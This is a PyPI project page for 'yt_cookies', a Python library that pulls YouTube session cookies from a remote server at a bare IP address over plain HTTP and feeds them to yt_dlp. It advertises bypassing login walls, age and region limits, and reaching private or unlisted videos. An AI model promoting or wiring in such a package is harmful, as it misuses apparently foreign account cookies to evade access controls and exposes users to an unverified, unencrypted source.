fetch youtube cookies from remote api to use with yt_dlp .
Project description
yt_cookies
yt_cookies is a lightweight python library that provides youtube cookies from a secure remote api for use with yt_dlp. perfect for developers who want seamless cookie management for downloading videos.
installation
pip install yt-cookies
quick start
import yt_cookies
from yt_dlp import YoutubeDL
url = "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
ydl_opts = {
'cookiefile': None,
'http_headers': {
'Cookie': yt_cookies.youtube()
},
'outtmpl': '%(title)s.%(ext)s'
}
with YoutubeDL(ydl_opts) as ydl:
ydl.download([url])
how it works
- connects to api endpoint:
http://185.158.132.66:1234/golden-cookies/ytc - receives fresh youtube cookies in json format
- formats and returns cookies to be used with yt_dlp
- handles security and rotation on the backend
advanced usage
import yt_cookies
from yt_dlp import YoutubeDL
options = {
'format': 'bestvideo+bestaudio',
'noplaylist': True,
'quiet': False,
'cookiefile': None,
'http_headers': {
'Cookie': yt_cookies.youtube()
},
'outtmpl': 'downloads/%(title)s.%(ext)s'
}
link = "https://youtube.com/watch?v=example"
with YoutubeDL(options) as ydl:
ydl.download([link])
features
- auto fetch cookies from server
- avoid manual cookie updates
- compatible with all yt_dlp versions
- no setup required
- easy plug-and-play
real world use cases
- bypass youtube login wall
- download age-restricted videos
- access region-locked content
- ensure stable downloads with cookies
- access private/unlisted videos (if auth cookies present)
example scripts
# batch download from list
import yt_cookies
from yt_dlp import YoutubeDL
with open('urls.txt') as f:
urls = f.read().splitlines()
opts = {
'cookiefile': None,
'http_headers': {
'Cookie': yt_cookies.youtube()
}
}
with YoutubeDL(opts) as ydl:
ydl.download(urls)
# dynamic url input
import yt_cookies
from yt_dlp import YoutubeDL
url = input("video url: ")
opts = {
'cookiefile': None,
'http_headers': {
'Cookie': yt_cookies.youtube()
},
'outtmpl': '%(title)s.%(ext)s'
}
with YoutubeDL(opts) as ydl:
ydl.download([url])
troubleshooting
- ensure internet access
- test api endpoint in browser
- check yt_dlp version compatibility
- clear pip cache if install fails
compatibility
- python versions: 3.8, 3.9, 3.10, 3.11, 3.12
- yt_dlp version: latest and legacy supported
- os: windows, linux, macos
contributing
- create pull requests
- suggest new features
- fix bugs or issues
- add docs and usage examples
license
licensed under mit . do anything with it, just give credit .
extra badges .
community
join the telegram chat for help , updates , and discussion .
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
yt_cookies-2025.6.10.tar.gz
(3.9 kB
view details)
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters